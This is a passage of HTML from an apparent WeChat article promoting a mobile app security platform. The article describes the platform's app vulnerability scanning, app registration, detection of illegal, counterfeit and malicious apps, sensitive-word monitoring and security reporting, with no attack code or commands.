&#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 0px 8px 1.5em;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(15, 183, 255);"><span leaf="">自动化APP扫描</span></strong></p><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 0px 8px 1.5em;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">潮启移动端安全管控平台可根据配置支持Android、IOS平台APK和IPA文件进行扫描，还可设置定时扫描、扫描周期等相关功能，以满足用户多元化需求。</span></p><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 0px 8px 1.5em;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(15, 183, 255);"><span leaf="">漏洞库管理</span></strong><span leaf=""> APP漏洞库管理模块，覆盖了代码、配置、组件和协议等漏洞，涉及APP安全漏洞数量超过1200个，同时提供了有效的漏洞修复解决方案，形成安全闭环。</span></p><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 0px 8px 1.5em;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(15, 183, 255);"><span leaf="">专项漏洞检测</span></strong></p><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 0px 8px 1.5em;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">潮启移动端安全管控平台可对常见漏洞进行检测，如ZipperDown、应用克隆和超级拒绝服务等漏洞进行验证。在新漏洞爆发时，用户可利用该功能进行针对性检测。</span></p><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 0px 8px 1.5em;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(15, 183, 255);"><span leaf="">敏感信息检测</span></strong></p><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 0px 8px 1.5em;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">移动端安全管控平台可采用全文检索、应用目录枚举、图片文件检查等手段对APP进行敏感信息检测，尤其是对涉黄涉毒涉赌涉枪爆刀涉黑灰产等违法APP，并对发现的敏感信息进行导出，从而协助用户对APP进行有效监管。</span></p><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 0px 8px 1.5em;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(15, 183, 255);"><span leaf="">漏洞生命期管理</span></strong></p><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 0px 8px 1.5em;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">潮启移动端安全管控平台可记录漏洞的概念以及漏洞的整个生命周期，包括漏洞的产生、发现、公开、管理和消亡，并详细介绍漏洞在生命周期中每个阶段的成因、形式、发现方法和具体的应对措施。</span></p><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 0px;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 183, 255);color: rgb(63, 63, 63);"><span leaf="">APP备案管理</span></h3><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 0px 8px 1.5em;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(15, 183, 255);"><span leaf="">APP基本信息</span></strong></p><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 0px 8px 1.5em;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">移动端安全管控平台通过监测国内各大主流手机应用市场，进行全网规则匹配，对市场已上架的APP信息进行筛选存储。APP基本信息包括应用的名称、包名、运营单位、属地、分类、渠道、历史版本、更新时间、服务器、域名和概述等关键属性，可方便的对APP进行定位检索。</span></p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin-right: 8px;margin-bottom: 1.5em;margin-left: 8px;color: rgb(63, 63, 63);"><span leaf=""><img alt="图片" class="rich_pages wxw-img" data-ratio="0.48984375" title="null" data-type="jpeg" data-w="1280" style="line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;margin-right: auto;margin-bottom: 0.5em;margin-left: auto;height: auto !important;visibility: visible !important;width: 661px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=4fbd05bb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FrTicZ9Hibb6RVTibCUROLibdiayViak0ALbw2hVibhP05nuOAOWwkCPplJf45Qe6NgEkEv5zibO6aQYfTtpM3ibvMGMrWSg%2F640%3Fwx_fmt%3Djpeg%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%23imgIndex%3D2"/></span></figure><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 0px 8px 1.5em;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(15, 183, 255);"><span leaf="">APP在线备案</span></strong></p><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 0px 8px 1.5em;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">移动端安全管控平台对APP的备案可分为自主备案和企业备案两种方式。个人或团体可对自己开发运营的APP进行在线备案，企业可对自有APP进行批量上传备案。APP上传后可自动关联企业工商信息获取企业地址、企业类别、企业联系人、联系方式等信息，并进行备案状态审核。</span></p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin-right: 8px;margin-bottom: 1.5em;margin-left: 8px;color: rgb(63, 63, 63);"><span leaf=""><img alt="图片" class="rich_pages wxw-img" data-ratio="0.8490566037735849" title="null" data-type="jpeg" data-w="848" style="line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;margin-right: auto;margin-bottom: 0.5em;margin-left: auto;height: auto !important;visibility: visible !important;width: 661px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=ce57b9f6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FrTicZ9Hibb6RVTibCUROLibdiayViak0ALbw2hSVibTeT3XCekufkudPSdicQI2QOknkibl1w7o7LoAvFnfjib2Y4lhmnvQw%2F640%3Fwx_fmt%3Djpeg%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%23imgIndex%3D3"/></span></figure><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 0px 8px 1.5em;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(15, 183, 255);"><span leaf="">备案APP管理</span></strong></p><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 0px 8px 1.5em;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">在APP进行备案前，系统会对APP进行全方位的安全检测，在APP备案后会常态化对APP的更新进行监测和管理。系统监测任务通过轮询下发方式自动实现，对各类信息进行综合分析判断，进行机器学习智能化分析检测，发现已知的安全漏洞隐患，从而完成对APP进行安全预警、整改处理、安全漏洞扫描等。</span></p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin-right: 8px;margin-bottom: 1.5em;margin-left: 8px;color: rgb(63, 63, 63);"><span leaf=""><img alt="图片" class="rich_pages wxw-img" data-ratio="0.25" title="null" data-type="jpeg" data-w="1280" style="line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;margin-right: auto;margin-bottom: 0.5em;margin-left: auto;height: auto !important;visibility: visible !important;width: 661px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=fee8d3bf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FrTicZ9Hibb6RVTibCUROLibdiayViak0ALbw2h3Wic9ffjGKgicLFmbhL26h3HgI9obMG6qpPsHYtCI5w3jzr64icClVrFg%2F640%3Fwx_fmt%3Djpeg%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%23imgIndex%3D4"/></span></figure><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 0px;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 183, 255);color: rgb(63, 63, 63);"><span leaf="">APP安全监测</span></h3><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 0px 8px 1.5em;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(15, 183, 255);"><span leaf="">违法APP检测发现</span></strong></p><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 0px 8px 1.5em;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">通过APP应用组合特征搜索进行深度分析，利用大数据分析技术设置该类应用命中规则，比如对已知的违法APP进行深度挖掘分析提取污点元素特征，将该元素特征全网碰撞，及时发现涉黄涉赌涉毒、涉枪爆刀、涉黑灰产交易类非法APP。具体包括：一、提取APP应用包内url链接并采集站点内容，发现含有涉黄涉毒涉赌等违法情况并自动保存截图，固定证据。二、分析APP的违法行为，检测APP内是否含有木马，并针对存在黑灰违法行为的APP进行甄别，针对该类违法的APP进行自动保存截图固定证据。三、发现APP应用内存在的违法图片、内容链接和敏感字等，可自动保存截图和固定证据等。</span></p><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 0px 8px 1.5em;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(15, 183, 255);"><span leaf="">伪造APP监测服务</span></strong></p><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 0px 8px 1.5em;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">对各大移动应用市场进行深度爬取，采用智能算法识别伪造或钓鱼APP，并从样本（hash）入手做分析，结合基础数据来溯源，通过动静结合方式实现实时监测并记录相关样本特征库，比对伪造APP的行为特征，对伪造APP的恶意行为特征进行采集，从而提高命中规则，判断伪造APP应用。对不常见的疑似伪造类APP进行评级划分，统一归类。</span></p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin-right: 8px;margin-bottom: 1.5em;margin-left: 8px;color: rgb(63, 63, 63);"><span leaf=""><img title="null" alt="图片" class="rich_pages wxw-img" data-ratio="0.47959183673469385" data-type="jpeg" data-w="980" style="line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;margin-right: auto;margin-bottom: 0.5em;margin-left: auto;height: auto !important;visibility: visible !important;width: 661px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=825cf2b8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FrTicZ9Hibb6RVTibCUROLibdiayViak0ALbw2h6ntrYDiaA4fgBvPSdpias77LvSv2vib5cGTSpesnk4g6vUMm9aOQeLQgQ%2F640%3Fwx_fmt%3Djpeg%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%23imgIndex%3D5"/></span></figure><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 0px 8px 1.5em;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(15, 183, 255);"><span leaf="">恶意行为监测服务</span></strong></p><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 0px 8px 1.5em;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">通过对APP进行反编译提取该APP配置文件中的权限列表，比对各类APP权限调用情况，在用户未授权的情况下获取涉及用户个人信息的行为，采用静态检测方式进行判断，实时监测存在调用系统等危险权限行为，对使用危险和敏感权限的APP进行全库监控。检测出的含有恶意行为的APP将会被标记，并显示该恶意行为，如读取该手机短信内容、通话录音等行为。</span></p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin-right: 8px;margin-bottom: 1.5em;margin-left: 8px;color: rgb(63, 63, 63);"><span leaf=""><img title="null" alt="图片" class="rich_pages wxw-img" data-ratio="0.58679706601467" data-type="jpeg" data-w="1227" style="line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;margin-right: auto;margin-bottom: 0.5em;margin-left: auto;height: auto !important;visibility: visible !important;width: 661px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=5d1f7cc1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FrTicZ9Hibb6RVTibCUROLibdiayViak0ALbw2hdjc45iaaCIzdKOFImqfDic64dO1pxMpmC0CiaYt8kJXGsxCNC2qqsf0NA%2F640%3Fwx_fmt%3Djpeg%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%23imgIndex%3D6"/></span></figure><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 0px 8px 1.5em;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(15, 183, 255);"><span leaf="">敏感词监测</span></strong></p><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 0px 8px 1.5em;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">移动端安全管控平台具备文本识别技术,敏感词库进行实时更新，可监控APP应用内存在的敏感字等信息，并可实现高效敏感词检测，也可进行自定义敏感词，进行智能甄别。还可根据部级中心下发的关键词、特征、黑链接等比对，发现涉黄涉毒涉赌涉枪爆刀涉黑灰产等违法APP，并可自动保存截图固定证据等。</span></p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin-right: 8px;margin-bottom: 1.5em;margin-left: 8px;color: rgb(63, 63, 63);"><span leaf=""><img title="null" alt="图片" class="rich_pages wxw-img" data-ratio="0.2515212981744422" data-type="jpeg" data-w="986" style="line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;margin-right: auto;margin-bottom: 0.5em;margin-left: auto;height: auto !important;visibility: visible !important;width: 661px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=363e21c2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FrTicZ9Hibb6RVTibCUROLibdiayViak0ALbw2hic12M4vktGLGw5uylpWrQBDia5YVMssuOibSGukkniaBR7kiczSQ0j0m9Iw%2F640%3Fwx_fmt%3Djpeg%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%23imgIndex%3D7"/></span></figure><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 0px 8px 1.5em;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(15, 183, 255);"><span leaf="">僵死APP监测识别</span></strong></p><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 0px 8px 1.5em;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">通过定期对APP应用市场渠道的监测、扫描，并通过应用下载数量，活跃程度、应用版本变化等特征，识别疑似僵死的APP应用。通过存储的数据比对该应用每月的下载次数、应用评论活跃信息来统计APP的活跃程度，判断疑似的僵死APP应用。</span></p><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 0px;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 183, 255);color: rgb(63, 63, 63);"><span leaf="">报告及告警</span></h3><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 0px 8px 1.5em;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(15, 183, 255);"><span leaf="">安全报告</span></strong><span leaf=""> 移动端安全管控平台通过对省内APP属地分布、行业分布、下载数量、运营单位、恶意应用行为、仿冒应用分布、安全漏洞分布、安全漏洞数量、APP应用版本变更、历史版本等维度每月输出安全分析报告。</span></p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin-right: 8px;margin-bottom: 1.5em;margin-left: 8px;color: rgb(63, 63, 63);"><span leaf=""><img title="null" alt="图片" class="rich_pages wxw-img" data-ratio="0.55078125" data-type="jpeg" data-w="1280" style="line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;margin-right: auto;margin-bottom: 0.5em;margin-left: auto;height: auto !important;visibility: visible !important;width: 661px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=7ed74c3d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FrTicZ9Hibb6RVTibCUROLibdiayViak0ALbw2hdnibq9w3sqv6uNLKlVCVhTwaWptm0yc8kjfwibwPCpdMg4VFJ9iar3icGg%2F640%3Fwx_fmt%3Djpeg%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%23imgIndex%3D8"/></span></figure><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 0px 8px 1.5em;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(15, 183, 255);"><span leaf="">监测预警</span></strong></p><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 0px 8px 1.5em;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">1、定期对APP进行检测，通过样本分析获取服务器相关信息，并通过服务器相应时间对服务质量进行判断；2、全面覆盖的安全大数据，可定期对APP进行安全检测发现漏洞及时预警，并可查询任意APP的历史安全数据。</span></p><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 0px 8px 1.5em;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(15, 183, 255);"><span leaf="">专项报告</span></strong></p><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 0px 8px 1.5em;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">通过专项漏洞检测脚本和前期对APP应用识别结果、批量对该APP进行漏洞检测，针对漏洞进行专项分析，并生成报告。</span></p><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 0px;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 183, 255);color: rgb(63, 63, 63);"><span leaf="">其他</span></h3><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 0px 8px 